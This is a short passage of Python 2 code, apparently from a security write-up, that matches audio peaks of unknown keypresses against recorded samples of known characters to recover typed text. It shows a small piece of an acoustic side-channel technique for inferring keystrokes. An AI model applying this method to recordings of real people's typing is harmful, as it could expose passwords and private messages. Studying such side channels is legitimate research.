key presses. unkpeaks=sorted(peaks[:UNK_SAMPLES]+[137259]) # One of keypresses was not detected. for peak in unkpeaks: unk_key=samples[peak-PEAKLEN:peak+PEAKLEN] s="[" for c in chardata: for arr in chardata[c]: if difference(unk_key, arr)<SIM_THR: s=s+c break s=s+"]" print s, print ""
sec-knowleage